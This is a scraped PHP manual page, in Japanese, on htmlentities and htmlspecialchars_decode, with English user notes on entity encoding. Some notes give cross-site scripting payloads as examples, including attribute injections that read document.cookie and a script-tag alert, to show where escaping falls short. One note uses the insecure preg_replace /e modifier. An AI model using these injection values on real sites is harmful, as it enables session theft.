When the multi byte is used on the page, it is effective.

javascript escape('aaああaa') ..... 'aa%u3042%u3042aa'
php  jsEscape_decode('aa%u3042%u3042aa')..'aaああaa'

<?php
function jsEscape_decode($jsEscaped,$outCharCode='SJIS'){
    $arrMojis = explode("%u",$jsEscaped);
    for ($i = 1;$i < count($arrMojis);$i++){
        $c = substr($arrMojis[$i],0,4);
        $cc = mb_convert_encoding(pack('H*',$c),$outCharCode,'UTF-16');
        $arrMojis[$i] = substr_replace($arrMojis[$i],$cc,0,4);
    }
    return implode('',$arrMojis);
}
?>
grvg (at) free (dot) fr 29-Jul-2006 09:44
Here is the ultimate functions to convert HTML entities to UTF-8 :
The main function is htmlentities2utf8
Others are helper functions

<?php
function chr_utf8($code)
    {
        if ($code < 0) return false;
        elseif ($code < 128) return chr($code);
        elseif ($code < 160) // Remove Windows Illegals Cars
        {
            if ($code==128) $code=8364;
            elseif ($code==129) $code=160; // not affected
            elseif ($code==130) $code=8218;
            elseif ($code==131) $code=402;
            elseif ($code==132) $code=8222;
            elseif ($code==133) $code=8230;
            elseif ($code==134) $code=8224;
            elseif ($code==135) $code=8225;
            elseif ($code==136) $code=710;
            elseif ($code==137) $code=8240;
            elseif ($code==138) $code=352;
            elseif ($code==139) $code=8249;
            elseif ($code==140) $code=338;
            elseif ($code==141) $code=160; // not affected
            elseif ($code==142) $code=381;
            elseif ($code==143) $code=160; // not affected
            elseif ($code==144) $code=160; // not affected
            elseif ($code==145) $code=8216;
            elseif ($code==146) $code=8217;
            elseif ($code==147) $code=8220;
            elseif ($code==148) $code=8221;
            elseif ($code==149) $code=8226;
            elseif ($code==150) $code=8211;
            elseif ($code==151) $code=8212;
            elseif ($code==152) $code=732;
            elseif ($code==153) $code=8482;
            elseif ($code==154) $code=353;
            elseif ($code==155) $code=8250;
            elseif ($code==156) $code=339;
            elseif ($code==157) $code=160; // not affected
            elseif ($code==158) $code=382;
            elseif ($code==159) $code=376;
        }
        if ($code < 2048) return chr(192 | ($code >> 6)) . chr(128 | ($code & 63));
        elseif ($code < 65536) return chr(224 | ($code >> 12)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
        else return chr(240 | ($code >> 18)) . chr(128 | (($code >> 12) & 63)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
    }

    // Callback for preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $str);
    function html_entity_replace($matches)
    {
        if ($matches[2])
        {
            return chr_utf8(hexdec($matches[3]));
        } elseif ($matches[1])
        {
            return chr_utf8($matches[3]);
        }
        switch ($matches[3])
        {
            case "nbsp": return chr_utf8(160);
            case "iexcl": return chr_utf8(161);
            case "cent": return chr_utf8(162);
            case "pound": return chr_utf8(163);
            case "curren": return chr_utf8(164);
            case "yen": return chr_utf8(165);
            //... etc with all named HTML entities
        }
        return false;
    }

    function htmlentities2utf8 ($string) // because of the html_entity_decode() bug with UTF-8
    {
        $string = preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $string);
        return $string;
    }
?>
florianborn (at) yahoo (dot) de 20-Jul-2005 03:43
Note that

<?php

 echo urlencode(html_entity_decode("&nbsp;"));

?>

will output "%A0" instead of "+".
php dot net at c dash ovidiu dot tk 18-Mar-2005 12:37
Quick & dirty code that translates numeric entities to UTF-8.

<?php

    function replace_num_entity($ord)
    {
        $ord = $ord[1];
        if (preg_match('/^x([0-9a-f]+)$/i', $ord, $match))
        {
            $ord = hexdec($match[1]);
        }
        else
        {
            $ord = intval($ord);
        }

        $no_bytes = 0;
        $byte = array();

        if ($ord < 128)
        {
            return chr($ord);
        }
        elseif ($ord < 2048)
        {
            $no_bytes = 2;
        }
        elseif ($ord < 65536)
        {
            $no_bytes = 3;
        }
        elseif ($ord < 1114112)
        {
            $no_bytes = 4;
        }
        else
        {
            return;
        }

        switch($no_bytes)
        {
            case 2:
            {
                $prefix = array(31, 192);
                break;
            }
            case 3:
            {
                $prefix = array(15, 224);
                break;
            }
            case 4:
            {
                $prefix = array(7, 240);
            }
        }

        for ($i = 0; $i < $no_bytes; $i++)
        {
            $byte[$no_bytes - $i - 1] = (($ord & (63 * pow(2, 6 * $i))) / pow(2, 6 * $i)) & 63 | 128;
        }

        $byte[0] = ($byte[0] & $prefix[0]) | $prefix[1];

        $ret = '';
        for ($i = 0; $i < $no_bytes; $i++)
        {
            $ret .= chr($byte[$i]);
        }

        return $ret;
    }

    $test = 'This is a &#269;&#x5d0; test&#39;';

    echo $test . "<br />\n";
    echo preg_replace_callback('/&#([0-9a-fx]+);/mi', 'replace_num_entity', $test);

?>
daniel at brightbyte dot de 13-Nov-2004 06:12
This function seems to have to have two limitations (at least in PHP 4.3.8):

a) it does not work with multibyte character codings, such as UTF-8
b) it does not decode numeric entity references

a) can be solved by using iconv to convert to ISO-8859-1, then decoding the entities, than convert to UTF-8 again. But that's quite ugly and detroys all characters not present in Latin-1.

b) can be solved rather nicely using the following code:

<?php
function decode_entities($text) {
    $text= html_entity_decode($text,ENT_QUOTES,"ISO-8859-1"); #NOTE: UTF-8 does not work!
    $text= preg_replace('/&#(\d+);/me',"chr(\\1)",$text); #decimal notation
    $text= preg_replace('/&#x([a-f0-9]+);/mei',"chr(0x\\1)",$text);  #hex notation
    return $text;
}
?>

HTH
aidan at php dot net 14-Sep-2004 12:57
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


適用可能な文字を全て HTML エンティティに変換する

  • ≪ html_entity_decode
  • htmlspecialchars_decode ≫
  • PHP Manual
  • String 関数
  • 適用可能な文字を全て HTML エンティティに変換する

htmlentities

(PHP 4, PHP 5, PHP 7, PHP 8)

htmlentities — 適用可能な文字を全て HTML エンティティに変換する

説明

htmlentities ( string $string , int $flags = ENT_COMPAT , string|null $encoding = null , bool $double_encode = true ) : string

この関数はhtmlspecialchars()と同じですが、 HTML エンティティと等価な意味を有する文字をHTMLエンティティに変換します。

もしデコード (逆の処理) をしたい場合、 html_entity_decode() を使用することができます。

パラメータ

string

入力文字列。

flags

以下のフラグを組み合わせたビットマスクです。 クォートや無効な符号単位シーケンス、そして文書型の扱いを指定します。 デフォルトは ENT_COMPAT | ENT_HTML401 です。

利用可能な flags 定数
定数名 | 説明
ENT_COMPAT | ダブルクオートは変換しますがシングルクオートは変換しません。
ENT_QUOTES | シングルクオートとダブルクオートを共に変換します。
ENT_NOQUOTES | シングルクオートとダブルクオートは共に変換されません。
ENT_IGNORE | 無効な符号単位シーケンスを含む文字列を渡したときに、 空の文字列を返すのではなく無効な部分を切り捨てるようになります。 このフラグは使わないようにしましょう。 » セキュリティの問題が発生する可能性があります。
ENT_SUBSTITUTE | 無効な符号単位シーケンスを含む文字列を渡したときに、 空の文字列を返すのではなく Unicode の置換文字に置き換えます。 UTF-8 の場合は U+FFFD、それ以外の場合は &#FFFD; となります。
ENT_DISALLOWED | 指定した文書型において無効な符号位置を、Unicode の代替文字である U+FFFD (UTF-8) あるいは &#FFFD; で置き換えます。 これを設定しなければ、無効な符号位置をそのまま残します。 これは、外部コンテンツを埋め込んだ XML 文書を整形式に保つために有用です。
ENT_HTML401 | コードを HTML 4.01 として処理します。
ENT_XML1 | コードを XML 1 として処理します。
ENT_XHTML | コードを XHTML として処理します。
ENT_HTML5 | コードを HTML 5 として処理します。

encoding

オプションの引数。文字を変換するときに使うエンコーディングを定義します。

省略した場合の encoding のデフォルト値は、 default_charset の値を使います。

技術的にはこの引数を省略可能ですが、 default_charset の指定が入力とは違う文字セットになっている可能性もあるので、 適切な値を指定しておくことを強く推奨します。

以下の文字セットをサポートします。

サポートする文字セット
文字セット | エイリアス | 説明
ISO-8859-1 | ISO8859-1 | 西欧、Latin-1
ISO-8859-5 | ISO8859-5 | ほとんど使われないキリル文字セット (Latin/Cyrillic)。
ISO-8859-15 | ISO8859-15 | 西欧、Latin-9 。Latin-1(ISO-8859-1) に欠けている ユーロ記号やフランス・フィンランドの文字を追加したもの。
UTF-8 | ASCII 互換のマルチバイト 8 ビット Unicode 。
cp866 | ibm866, 866 | DOS 固有のキリル文字セット。
cp1251 | Windows-1251, win-1251, 1251 | Windows 固有のキリル文字セット。
cp1252 | Windows-1252, 1252 | 西欧のための Windows 固有の文字セット。
KOI8-R | koi8-ru, koi8r | ロシア語。
BIG5 | 950 | 繁体字中国語。主に台湾で使用されます。
GB2312 | 936 | 簡体字中国語。国の標準文字セットです。
BIG5-HKSCS | Big5 に香港の拡張を含めたもの。繁体字中国語。
Shift_JIS | SJIS, SJIS-win, cp932, 932 | 日本語。
EUC-JP | EUCJP, eucJP-win | 日本語。
MacRoman | Mac OS で使われる文字セット。
'' 空文字列を指定すると、 スクリプトのエンコーディング (Zend multibyte)、 default_charset、 そして現在のロケール (nl_langinfo() および setlocale() を参照ください) の順でエンコーディングを検出します。 この方法はおすすめしません。

注意: これら以外の文字セットは理解できません。 かわりにデフォルトのエンコーディングを使用し、警告を発生させます。

double_encode

double_encode をオフにすると、PHP は既存の html エンティティをエンコードしません。 デフォルトでは、既存のエンティティも含めてすべてを変換します。

返り値

エンコードした文字列を返します。

入力文字列の中に、指定した encoding で無効な符号単位シーケンスが含まれる場合は、 ENT_IGNORE あるいは ENT_SUBSTITUTE フラグが設定されていない限りは空文字列を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 htmlentities() の例

<?php
$str = "A 'quote' is <b>bold</b>";

// 出力: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// 出力: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);
?>

例2 ENT_IGNORE の使用例

<?php
$str = "\x8F!!!";

// 出力: 空の文字列
echo htmlentities($str, ENT_QUOTES, "UTF-8");

// 出力: "!!!"
echo htmlentities($str, ENT_QUOTES | ENT_IGNORE, "UTF-8");
?>

参考

  • html_entity_decode() - HTML エンティティを対応する文字に変換する
  • get_html_translation_table() - htmlspecialchars および htmlentities で使用される変換テーブルを返す
  • htmlspecialchars() - 特殊文字を HTML エンティティに変換する
  • nl2br() - 改行文字の前に HTML の改行タグを挿入する
  • urlencode() - 文字列を URL エンコードする

User Contributed Notes

2962051004 at qq dot com 03-Oct-2018 04:09
<?php

/**
 * 将中文??Html?体
 * Convert Chinese in HTML to entity
 * Author QiangGe
 * Mail 2962051004@qq.com
 *
*/

$str = <<<EOT
?好 world
EOT;

function ChineseToEntity($str) {
 return preg_replace_callback(
        '/[\x{4e00}-\x{9fa5}]/u', // utf-8
        // '/[\x7f-\xff]+/', // if gb2312
        function ($matches) {
            $json = json_encode(array($matches[0]));
            preg_match('/\[\"(.*)\"\]/', $json, $arr);
            /*
             * 通?json_encode函数将中文??unicode
             * 然后用正?取出unicode
             * Turn the Chinese into Unicode through the json_encode function, then extract Unicode from regular.
             * I think this idea is seamless.
            */
            return '&#x'. str_replace('\\u', '', $arr[1]). ';';
        }, $str
   );
}

echo ChineseToEntity($str);
// &#x4f60;&#x597d; world
Jeff 01-Jun-2018 01:25
There is a feature when writing to XML using an AJAX call to PHP that rarely is mentioned. I struggled for many hours using htmlentities() because what was getting written to my XML document was not as expected. I naturally assumed that I should be converting my strings before writing them to XML to adhere to XML rules on illegal characters. To my surprise, when converting with htmlentities() or htmlspecialchars() and then writing to an XML file, the resulting ampersands get converted afterwards! Consider the following example:

<?php
$str = "<b>I am cool</b>" ;
$str = htmlentities($str) ;
?>

When you append $str to an XML element and save() the document, you would expect the XML document's source code to look something like this:

<ele>&lt;b&gt;I am cool&lt;/b&gt;</ele>

But that is not what happens. The resulting ampersands get converted by PHP automatically to &amp; and your source code ends up looking like this:

<ele>&amp;lt;b&amp;gt;I am cool&amp;lt;/b&amp;gt;</ele>

As you can see, this creates problems when trying to output the XML data back to HTML. It is important to remember that when writing to XML this way, special characters like ">" and "<"; PHP converts them automatically and there becomes no need to use htmlentities() in certain cases. I assume this feature is in place to aid with passing data through header queries, to avoid reserved characters conflicting with others in a header query (e.g. & or =). Now I understand this may not be the case with older versions of PHP and that this might be a feature of my version (PHP version 5.6.32). With older versions, I assume using htmlentities() or htmlspecialchars() is a must, as stated with previous notes here. Also I use the charset UTF-8 in my HTML and XML and am not sure if this also effects the results I get.

Anyway, I struggled for many hours with using htmlentities() to convert strings for XML writing and saving, when all I had to do was simply not use the function and let PHP convert my strings for me. I hope this helps because I would think I am not the only one who has struggled with this situation.
chris at ocproducts dot com 10-Apr-2017 01:10
This function throws a warning on bad input even if ENT_SUBSTITUTE is set, so be prepared for this.
hajo-p 05-Jan-2014 05:18
The flag ENT_HTML5 also strips newline chars like \n with htmlentities while htmlspecialchars is not affected by that.

If you want to use nl2br on that string afterwards you might end up searching the problem like i did. This does not apply to other flags like e.g. ENT_XHTML which confused me.

Tested this with PHP 5.4 / 5.5 / 5.6-dev with same results, so it seems that this is an intended "feature".
ustimenko dot alexander at gmail dot com 09-Apr-2012 02:15
For those Spanish (and not only) folks, that want their national letters back after htmlentities :)

<?php
protected function _decodeAccented($encodedValue, $options = array()) {
    $options += array(
        'quote'     => ENT_NOQUOTES,
        'encoding'  => 'UTF-8',
    );
    return preg_replace_callback(
        '/&\w(acute|uml|tilde);/',
        create_function(
            '$m',
            'return html_entity_decode($m[0], ' . $options['quote'] . ', "' .
            $options['encoding'] . '");'
        ),
        $encodedValue
    );
}
?>
n at erui dot eu 20-Mar-2012 12:46
html entities does not encode all unicode characters. It encodes what it can [all of latin1], and the others slip through. &#1033; is the nasty I use. I have searched for a function which encodes everything, but in the end I wrote this. This is as simple as I can get it. Consult an ansii table to custom include/omit chars you want/don't. I'm sure it's not that fast.

// Unicode-proof htmlentities.
// Returns 'normal' chars as chars and weirdos as numeric html entites.
function superentities( $str ){
    // get rid of existing entities else double-escape
    $str = html_entity_decode(stripslashes($str),ENT_QUOTES,'UTF-8');
    $ar = preg_split('/(?<!^)(?!$)/u', $str );  // return array of every multi-byte character
    foreach ($ar as $c){
        $o = ord($c);
        if ( (strlen($c) > 1) || /* multi-byte [unicode] */
            ($o <32 || $o > 126) || /* <- control / latin weirdos -> */
            ($o >33 && $o < 40) ||/* quotes + ambersand */
            ($o >59 && $o < 63) /* html */
        ) {
            // convert to numeric entity
            $c = mb_encode_numericentity($c,array (0x0, 0xffff, 0, 0xffff), 'UTF-8');
        }
        $str2 .= $c;
    }
    return $str2;
}
wd at NOSPAMwd dot it 19-Dec-2011 02:20
Hi there,

after several and several tests, I figured out that dot:

- htmlentities() function remove characters like "a","e",etc when you specify a flag and a charset

- htmlentities() function DOES NOT remove characters like those above when you DO NOT specify anything

So, let's assume that..

<?php

$str = "Heeellooo";

$res_1 = htmlentities($str, ENT_QUOTES, "UTF-8");
$res_2 = htmlentities($str);

echo var_dump($res_1); // Result: string '' (length=0)
echo var_dump($res_2); // string 'H&egrave;&egrave;&egrave;llooo' (length=30)

?>

I used this for a textarea content for comments. Anyway, note that using the "$res_2" form the function will leave unconverted single/double quotes. At this point you should use str_replace() function to perform the characters but be careful because..

<?php

$str = "'Heeellooo'";

$res_2 = str_replace("'","&#039;",$str);
$res_2 = htmlentities($str);
echo var_dump($res_2); // string '&amp;#039;H&egrave;&egrave;&egrave;llooo&amp;#039;'

$res_3 = htmlentities($str);
$res_3 = str_replace("'","&#039;",$res_3);
echo var_dump($res_3); // string '&#039;H&egrave;&egrave;&egrave;llooo&#039;' --> Nice
?>

Hope it will helps you.

Regards,
W.D.
steve at mcdragonsoftware dot com 16-Nov-2011 08:59
I'm glad 5.4 has xml support, but many of us are working with older installations, some of us still have to use PHP4. If you're like me you've been frustrated with trying to use htmlentites/htmlspecial chars with xml output. I was hoping to find an option to force numeric encoding, lacking that, I have written my own xmlencode function, which I now offer:

usage:

$string xmlencode( $string )

it will use htmlspecialchars for the valid xml entities amp, quote, lt, gt, (apos) and return the numeric entity for all other non alpha-numeric characters.

-------------------------------------------

<?php
if( !function_exists( 'xmlentities' ) ) {
    function xmlentities( $string ) {
        $not_in_list = "A-Z0-9a-z\s_-";
        return preg_replace_callback( "/[^{$not_in_list}]/" , 'get_xml_entity_at_index_0' , $string );
    }
    function get_xml_entity_at_index_0( $CHAR ) {
        if( !is_string( $CHAR[0] ) || ( strlen( $CHAR[0] ) > 1 ) ) {
            die( "function: 'get_xml_entity_at_index_0' requires data type: 'char' (single character). '{$CHAR[0]}' does not match this type." );
        }
        switch( $CHAR[0] ) {
            case "'":    case '"':    case '&':    case '<':    case '>':
                return htmlspecialchars( $CHAR[0], ENT_QUOTES );    break;
            default:
                return numeric_entity_4_char($CHAR[0]);                break;
        }
    }
    function numeric_entity_4_char( $char ) {
        return "&#".str_pad(ord($char), 3, '0', STR_PAD_LEFT).";";
    }
}
?>
Waygood 06-Jun-2011 02:09
When putting values inside comment tags <!-- --> you should replace -- with &#45;&#45; too, as this would end your tag and show the rest of the comment.
robin at robinwinslow dot co dot uk 15-Apr-2011 08:14
htmlentities seems to have changed at some point between version 5.1.6 and 5.3.3, such that it now returns an empty string for anything containing a pound sign:

$ php -v
PHP 5.1.6 (cli) (built: May 22 2008 09:08:44)
$ php -r "echo htmlentities('￡hello', null, 'utf-8');"
&pound;hello
$

$ php -v
PHP 5.3.3 (cli) (built: Aug 19 2010 12:07:49)
$ php -r "echo htmlentities('￡hello', null, 'utf-8');"
$

(Returns an empty string the second time)

Just a heads up.
admin at wapforum dot rs 24-Feb-2011 01:11
A useful little function to convert the symbols in the different inputs.
<?php
function ConvertSimbols($var, $ConvertQuotes = 0) {
if ($ConvertQuotes > 0) {
$var = htmlentities($var, ENT_NOQUOTES, 'UTF-8');
$var = str_replace('\"', '', $var);
$var = str_replace("\'", '', $var);
} else {
$var = htmlentities($var, ENT_QUOTES, 'UTF-8');
}
return $var;
}
?>

Usage with quotes for example message:

$message = ConvertSimbols($message);

Usage without quotes for example link:

$link = ConvertSimbols($link, 1);
drallen at cs dot uwaterloo dot ca 29-Sep-2010 04:11
A pointer to http://www.php.net/manual/en/function.mb-convert-encoding.php if your intention is to translate *all* characters in a charset to their corresponding HTML entities, not just named characters. Non-named characters will be replaced with HTML numeric encoding. eg:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
h_guillaume at hotmail dot com 17-Sep-2010 01:14
I use this function to encode all the xml entities and also all the &something; that are not defined in xml like &trade;
You can also decode what you encode with my decode function.
My function works a little like the htmlentities.
You can also add other string to the array if you want to exclude them from the encoding.

<?php
function xml_entity_decode($text, $charset = 'Windows-1252'){
    // Double decode, so if the value was &amp;trade; it will become Trademark
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    return $text;
}

function xml_entities($text, $charset = 'Windows-1252'){
     // Debug and Test
    // $text = "test &amp; &trade; &amp;trade; abc &reg; &amp;reg; &#45;";

    // First we encode html characters that are also invalid in xml
    $text = htmlentities($text, ENT_COMPAT, $charset, false);

    // XML character entity array from Wiki
    // Note: &apos; is useless in UTF-8 or in UTF-16
    $arr_xml_special_char = array("&quot;","&amp;","&apos;","&lt;","&gt;");

    // Building the regex string to exclude all strings with xml special char
    $arr_xml_special_char_regex = "(?";
    foreach($arr_xml_special_char as $key => $value){
        $arr_xml_special_char_regex .= "(?!$value)";
    }
    $arr_xml_special_char_regex .= ")";

    // Scan the array for &something_not_xml; syntax
    $pattern = "/$arr_xml_special_char_regex&([a-zA-Z0-9]+;)/";

    // Replace the &something_not_xml; with &amp;something_not_xml;
    $replacement = '&amp;${1}';
    return preg_replace($pattern, $replacement, $text);
}
?>
Sijmen Ruwhof 13-Sep-2010 12:18
An important note below about using this function to secure your application against Cross Site Scripting (XSS) vulnerabilities.

When printing user input in an attribute of an HTML tag, the default configuration of htmlEntities() doesn't protect you against XSS, when using single quotes to define the border of the tag's attribute-value. XSS is then possible by injecting a single quote:

<?php
$_GET['a'] = "#000' onload='alert(document.cookie)";
?>

XSS possible (insecure):

<?php
$href = htmlEntities($_GET['a']);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000' onload='alert(document.cookie)'>
?>

Use the 'ENT_QUOTES' quote style option, to ensure no XSS is possible and your application is secure:

<?php
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000&#039; onload=&#039;alert(document.cookie)'>
?>

The 'ENT_QUOTES' option doesn't protect you against javascript evaluation in certain tag's attributes, like the 'href' attribute of the 'a' tag. When clicked on the link below, the given JavaScript will get executed:

<?php
$_GET['a'] = 'javascript:alert(document.cookie)';
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<a href='$href'>link</a>"; # results in: <a href='javascript:alert(document.cookie)'>link</a>
?>
phil at lavin dot me dot uk 08-Apr-2010 08:34
The following will make a string completely safe for XML:

<?php
function philsXMLClean($strin) {
        $strout = null;

        for ($i = 0; $i < strlen($strin); $i++) {
                $ord = ord($strin[$i]);

                if (($ord > 0 && $ord < 32) || ($ord >= 127)) {
                        $strout .= "&amp;#{$ord};";
                }
                else {
                        switch ($strin[$i]) {
                                case '<':
                                        $strout .= '&lt;';
                                        break;
                                case '>':
                                        $strout .= '&gt;';
                                        break;
                                case '&':
                                        $strout .= '&amp;';
                                        break;
                                case '"':
                                        $strout .= '&quot;';
                                        break;
                                default:
                                        $strout .= $strin[$i];
                        }
                }
        }

        return $strout;
}
?>
Tom Walter 16-Oct-2008 07:14
Note that as of 5.2.5 it appears that if the input string contains a character that is not valid for the output encoding you've specified, then this function returns null.

You might expect it to just strip the invalid char, but it doesn't.

You can strip the chars yourself like so:

iconv('utf-8','utf-8',$str);

You can combine that with htmlentities also:

$str = htmlentities(iconv('UTF-8', 'UTF-8//IGNORE', $str, ENT_QUOTES, 'UTF-8');

Should give you a string with htmlentities encoded to utf-8, and any unsupported chars stripped.
za at byza dot it 15-Apr-2008 09:15
Trouble when using files with different charset?

htmlentities and html_entity_decode can be used to translate between charset!

Sample function:

<?php
function utf2latin($text) {
   $text=htmlentities($text,ENT_COMPAT,'UTF-8');
   return html_entity_decode($text,ENT_COMPAT,'ISO-8859-1');
}
?>
q (dot) rendeiro (at) gmail (dot) com 07-Mar-2007 04:41
I've seen lots of functions to convert all the entities, but I needed to do a fulltext search in a db field that had named entities instead of numeric entities (edited by tinymce), so I searched the tinymce source and found a string with the value->entity mapping. So, i wrote the following function to encode the user's query with named entities.

The string I used is different of the original, because i didn't want to convert ' or ". The string is too long, so I had to cut it. To get the original check TinyMCE source and search for nbsp or other entity ;)

<?php

$entities_unmatched = explode(',', '160,nbsp,161,iexcl,162,cent, [...] ');
$even = 1;
foreach($entities_unmatched as $c) {
    if($even) {
        $ord = $c;
    } else {
        $entities_table[$ord] = $c;
    }
    $even = 1 - $even;
}

function encode_named_entities($str) {
    global $entities_table;

    $encoded_str = '';
    for($i = 0; $i < strlen($str); $i++) {
        $ent = @$entities_table[ord($str{$i})];
        if($ent) {
            $encoded_str .= "&$ent;";
        } else {
            $encoded_str .= $str{$i};
        }
    }
    return $encoded_str;
}

?>
realcj at g mail dt com 06-Nov-2006 10:41
If you are building a loadvars page for Flash and have problems with special chars such as " & ", " ' " etc, you should escape them for flash:

Try trace(escape("&")); in flash' actionscript to see the escape code for &;

% = %25
& = %26
' = %27

<?php
function flashentities($string){
return str_replace(array("&","'"),array("%26","%27"),$string);
}
?>

Those are the two that concerned me. YMMV.
jake_mcmahon at hotmail dot com 29-Apr-2004 02:29
This fuction is particularly useful against XSS (cross-site-scripting-). XSS makes use of holes in code, whether it be in Javascript or PHP. XSS often, if not always, uses HTML entities to do its evil deeds, so this function in co-operation with your scripts (particularly search or submitting scripts) is a very useful tool in combatting "H4X0rz".
Bassie (: 05-Jan-2003 04:07
Note that you'll have use htmlentities() before any other function who'll edit text like nl2br().

If you use nl2br() first, the htmlentities() function will change < br > to &lt;br&gt;.


特殊な HTML エンティティを文字に戻す

  • ≪ htmlentities
  • htmlspecialchars ≫
  • PHP Manual
  • String 関数
  • 特殊な HTML エンティティを文字に戻す

htmlspecialchars_decode

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

htmlspecialchars_decode — 特殊な HTML エンティティを文字に戻す

説明

htmlspecialchars_decode ( string $string , int $flags = ENT_COMPAT ) : string

この関数は htmlspecialchars() の反対です。 特殊な HTML エンティティを文字に戻します。

変換されるエンティティは次のものです。&amp;、 &quot; (ENT_NOQUOTES が設定されていない場合)、 &#039; (ENT_QUOTES が設定されている場合)、 &lt; および &gt;。

パラメータ

string

デコードする文字列。

flags

以下のフラグのビットマスクによる組み合わせで、クォートの扱いやドキュメントの形式を指定します。 デフォルトは ENT_COMPAT | ENT_HTML401 です。

使用可能な flags 定数
定数名 | 説明
ENT_COMPAT | ダブルクォートを変換し、シングルクォートはそのままにします。
ENT_QUOTES | ダブルクォート、シングルクォートの両方を変換します。
ENT_NOQUOTES | ダブルクォート、シングルクォートの両方をそのままにします。
ENT_HTML401 | コードを HTML 4.01 として処理します。
ENT_XML1 | コードを XML 1 として処理します。
ENT_XHTML | コードを XHTML として処理します。
ENT_HTML5 | コードを HTML 5 として処理します。

返り値

デコードされた文字列を返します。

例

例1 htmlspecialchars_decode() の例

<?php
$str = "<p>this -&gt; &quot;</p>\n";

echo htmlspecialchars_decode($str);

// クォートが変換されないことに注意しましょう
echo htmlspecialchars_decode($str, ENT_NOQUOTES);
?>

上の例の出力は以下となります。

<p>this -> "</p>
<p>this -> &quot;</p>

参考

  • htmlspecialchars() - 特殊文字を HTML エンティティに変換する
  • html_entity_decode() - HTML エンティティを対応する文字に変換する
  • get_html_translation_table() - htmlspecialchars および htmlentities で使用される変換テーブルを返す

User Contributed Notes

pinkgothic at gmail dot com 10-Jun-2010 09:24
Keep in mind that you should never trust user input - particularly for "mixed-bag" input containing a combination of plain text and markup or scripting code.

Why?

Well, consider someone sending '&amp;<script>alert('XSS');</script>' to your PHP script:

<?php
$var = "&amp;<script>alert('XSS');</script>";
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var;
?>

Since '&amp;' decodes into '&', (htmlspecialchars_decode($var) == $var) will be -false-, thus returning $var without that it's escaped. In consequence, the script-tags are untouched, and you've just opened yourself to XSS.

There is, unfortunately, no reliable way to determine whether HTML is escaped or not that does not come with this caveat that I know of. Rather than try and catch the case 'I've already encoded this', you are better off avoiding double-escaping by simply escaping the HTML as close to the actual output as you can muster, e.g. in the view in an MVC development structure.
benharold at mac dot com 26-Jan-2009 04:48
or of course:

<?php

$var = "Blue & yellow make green.";

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // outputs Blue &amp; yellow make green.

// you can do it a bunch of times, it still won't screw you!

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // still outputs Blue &amp; yellow make green.

?>

Put it in a function. Add it to the method of some abstract data class.
benharold at mac dot com 26-Jan-2009 01:30
If you use `htmlspecialchars()` to change things like the ampersand (&) into it's HTML equivalent (&amp;), you might run into a situation where you mistakenly pass the same string to the function twice, resulting in things appearing on your website like, as I call it, the ampersanded amp; "&amp;". Clearly nobody want's "&amp;" on his or her web page where there is supposed to be just an ampersand. Here's a quick and easy trick to make sure this doesn't happen:

<?php

$var = "This is a string that could be passed to htmlspecialchars multiple times.";

if (htmlspecialchars_decode($var) == $var) {
    $var = htmlspecialchars($var);
}

echo $var;

?>

Now, if your dealing with text that is a mixed bag (has HTML entities and non-HTML entities) you're on your own.
thomas at xci[ignore_this]teit dot commm 28-Mar-2008 03:03
The example for "htmlspecialchars_decode()" below sadly does not work for all PHP4 versions.

Quote from the PHP manual:
"get_html_translation_table() will return the translation table that is used internally for htmlspecialchars() and htmlentities()."

But it does NOT! At least not for PHP version 4.4.2.
This was already reported in a bug report (http://bugs.php.net/bug.php?id=25927), but it was marked as BOGUS.

Proof:
  Code:
--------------------
<?php
    var_dump(get_html_translation_table(HTML_SPECIALCHARS,ENT_QUOTES));
    var_dump(htmlspecialchars('\'',ENT_QUOTES));
?>
--------------------

  Output:
--------------------
array
  '"' => '&quot;'
  ''' => '&#39;'
  '<' => '&lt;'
  '>' => '&gt;'
  '&' => '&amp;'

'&#039;'
--------------------

This comment now is not to report this bug again (though I really believe it is one), but to complete the example and warn people of this pitfall.

To make sure your htmlspecialchars_decode fake for PHP4 works, you should do something like this:

<?php
    function htmlspecialchars_decode($string,$style=ENT_COMPAT)
    {
        $translation = array_flip(get_html_translation_table(HTML_SPECIALCHARS,$style));
        if($style === ENT_QUOTES){ $translation['&#039;'] = '\''; }
        return strtr($string,$translation);
    }
?>

Br, Thomas
17-Aug-2006 05:49
This should be the best way to do it.
(Reposted because the other one seems a bit slower and because those who used the code under called it htmlspecialchars_decode_php4)

<?php

if ( !function_exists('htmlspecialchars_decode') )
{
    function htmlspecialchars_decode($text)
    {
        return strtr($text, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
    }
}

?>
or-k at or-k dot com 14-Sep-2005 02:15
that works also with &auml; and &quot; and so on.
get_html_translation_table(HTML_ENTITIES) => offers more characters than HTML_SPECIALCHARS

function htmlspecialchars_decode_PHP4($uSTR)
{
 return strtr($uSTR, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));
}
geoffers@gmail 14-Jul-2005 06:38
[Update of previous note, having noticed I forgot to put in quote style]

PHP4 Compatible function:

<?php

function htmlspecialchars_decode_php4 ($str, $quote_style = ENT_COMPAT) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
}

?>
geoffers at gmail dot com 14-Jul-2005 06:30
